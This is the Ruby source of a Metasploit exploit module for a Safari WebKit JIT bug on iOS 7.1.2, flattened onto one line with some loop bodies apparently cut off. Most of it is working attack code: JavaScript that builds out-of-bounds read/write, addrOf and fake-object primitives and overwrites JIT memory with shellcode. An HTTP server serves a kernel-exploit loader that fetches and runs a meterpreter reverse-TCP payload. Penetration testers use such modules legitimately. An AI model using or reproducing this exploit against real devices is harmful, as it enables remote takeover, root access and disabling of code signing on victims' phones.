## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2', 'Description' => %q{ This module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload. This module has been tested against iOS 7.1.2 on an iPhone 4. }, 'License' => MSF_LICENSE, 'Author' => [ 'kudima', # ishell 'Ian Beer', # CVE-2016-4669 'WanderingGlitch', # CVE-2018-4162 'timwr', # metasploit integration ], 'References' => [ ['CVE', '2016-4669'], ['CVE', '2018-4162'], ['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'], ['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'], ], 'Arch' => ARCH_ARMLE, 'Platform' => 'apple_ios', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' }, 'Targets' => [[ 'Automatic', {} ]], 'DisclosureDate' => 'Aug 25 2016' ) ) register_options( [ OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]), OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ]) ] ) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def exploit_js <<~JS // // Initial notes. // // If we look at publicly available exploits for this kind of // issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore // differently interprets the content of arrays based on // their type, besides object pointers and 64-bit doubles may have // the same representation. // // This is not the case for 32-bit version of JavaScriptCore. // The details are in runtime/JSCJSValue.h. All JSValues are still // 64-bit, but for the cells representing objects // the high 32-bit are always 0xfffffffb (since we only need 32-bit // to represent a pointer), meaning cell is always a NaN in IEEE754 // representation used for doubles and it is not possible to confuse // an cell and a IEEE754 encoded double value. // // Another difference is how the cells are represented // in the version of JavaScriptCore by iOS 7.1.2. // The type of the cell object is determined by m_structure member // at offset 0 which is a pointer to Structure object. // On 64-bit systems, at the time [2], [3] // were published, a 32-bit integer value was used as a structure id. // And it was possible to deterministically predict that id for // specific object layout. // // The exploit outline. // // Let's give a high level description of the steps taken by the // exploit to get to arbitrary code execution. // // 1. We use side effect bug to overwrite butterfly header by confusing // Double array with ArrayStorage and obtain out of bound (oob) read/write // into array butterflies allocation area. // // 2. Use oob read/write to build addrOf/materialize object primitives, // by overlapping ArrayStorage length with object pointer part of a cell // stored in Contiguous array. // // 3. Craft a fake Number object in order to leak real object structure // pointer via a runtime function. // // 4. Use leaked structure pointer to build a fake fake object allowing // as read/write access to a Uint32Array object to obtain arbitrary read/write. // // 5. We overwrite rwx memory used for jit code and redirect execution // to that memory using our arbitrary read/write. function main(loader, macho) { // auxillary arrays to facilitate // 64-bit floats to pointers conversion var ab = new ArrayBuffer(8) var u32 = new Uint32Array(ab); var f64 = new Float64Array(ab); function toF64(hi, lo) { u32[0] = hi; u32[1] = lo; return f64[0]; } function toHILO(f) { f64[0] = f; return [u32[0], u32[1]] } function printF64(f) { var u32 = toHILO(f); return (u32[0].toString(16) + " " + u32[1].toString(16)); } // arr is an object with a butterfly // // cmp is an object we compare with // // v is a value assigned to an indexed property, // gives as ability to change the butterfly function oob_write(arr, cmp, v, i) { arr[0] = 1.1; // place a comparison with an object, // incorrectly modeled as side effects free cmp == 1; // if i less then the butterfly length, // it simply writes the value, otherwise // bails to baseline jit, which is going to // handle the write via a slow path. arr[i] = v; return arr[0]; } function make_oob_array() { var oob_array; // allocate an object var arr = {}; arr.p = 1.1; // allocate butterfly of size 0x38, // 8 bytes header and 6 elements. To get the size // we create an array and inspect its memory // in jsc command line interpreter. arr[0] = 1.1; // toString is triggered during comparison, var x = {toString: function () { // convert the butterfly into an // array storage with two values, // initial 1.1 64-bit at 0 is going to be placed // to m_vector and value at 1000 is placed into // the m_sparceMap arr[1000] = 2.2; // allocate a new butterfly right after // our ArrayStorage. The butterflies are // allocated continuously regardless // of the size. For the array we // get 0x28 bytes, header and 4 elements. oob_array = [1.1]; return '1'; } }; // ArrayStorage buttefly--+ // | // V //-8 -4 0 4 // | pub length | length | m_sparceMap | m_indexBias | // // 8 0xc 0x10 // | m_numValuesInVector | m_padding | m_vector[0] // //0x18 0x20 0x28 // | m_vector[1] | m_vector[2] | m_vector[3] | // // oob_array butterfly // | // V //0x30 0x34 0x38 0x40 0x48 0x50 // | pub length | length | el0 | el1 | el2 | // // We enter the function with arr butterfly // backed up by a regular butterfly, during the side effect // in toString method we turn it into an ArrayStorage, // and allocate a butterfly right after it. So we // hopefully get memory layout as on the diagram above. // // The compiled code for oob_write, being not aware of the // shape change, is going to compare 6 to the ArrayStorage // length (which we set to 1000 in toString) and proceed // to to write at index 6 relative to ArrayStorage butterfly, // overwriting the oob_array butterfly header with 64-bit float // encoded as 0x0000100000001000. Which gives as ability to write // out of bounds of oob_array up to 0x1000 bytes, hence // the name oob_array. var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6); return oob_array; } // returns address of an object function addrOf(o) { // overwrite ArrayStorage public length // with the object pointer oob_array[4] = o; // retrieve the address as ArrayStorage // butterfly public length var r = oobStorage.length; return r; } function materialize(addr) { // replace ArrayStorage public length oobStorage.length = addr; // retrieve the placed address // as an object return oob_array[4]; } function read32(addr) { var lohi = toHILO(rw0Master.rw0_f2); // replace m_buffer with our address rw0Master.rw0_f2 = toF64(lohi[0], addr); var ret = u32rw[0]; // restore rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]); return ret; } function write32(addr, v) { var lohi = toHILO(rw0Master.rw0_f2); rw0Master.rw0_f2 = toF64(lohi[0], addr); // for some reason if we don't do this // and the value is negative as a signed int ( > 0x80000000) // it takes base from a different place u32rw[0] = v & 0xffffffff; rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]); } function testRW32() { var o = [1.1]; print("--------------- testrw32 -------------"); print("len: " + o.length); var bfly = read32(addrOf(o)+4); print("bfly: " + bfly.toString(16)); var len = read32(bfly-8); print("bfly len: " + len.toString(16)); write32(bfly - 8, 0x10); var ret = o.length == 0x10; print("len: " + o.length); write32(bfly - 8, 1); print("--------------- testrw32 -------------"); return ret; } // dump @len dword function dumpAddr(addr, len) { var output = 'addr: ' + addr.toString(16) + "\\n"; for (var i=0; im_executable var m_executable = read32(addrOf(exec)+0xc); // m_executable->m_jitCodeForCall var jitCodeForCall = read32(m_executable + 0x14) - 1; print("jit code pointer: " + jitCodeForCall.toString(16)); // Get JSCell::destroy pointer, and pass it // to the code we are going to execute as an argument var n = new Number(1.1); var struct = read32(addrOf(n)); // read methodTable var classInfo = read32(struct + 0x20); // read JSCell::destroy var JSCell_destroy = read32(classInfo + 0x10); print("JSCell_destroy: " + JSCell_destroy.toString(16)); // overwrite jit code of exec function for (var i=0; i 'application/octet-stream' }) return elsif request.uri.starts_with? '/macho.b64' loader_data = exploit_data('CVE-2016-4669', 'macho') payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload" payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER') loader_data[payload_url_index, payload_url.length] = payload_url loader_data = Rex::Text.encode_base64(loader_data) send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' }) return elsif request.uri.starts_with? '/payload' print_good('Target is vulnerable, sending payload!') send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' }) return end jscript = exploit_js if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = <<~HTML HTML send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' }) end end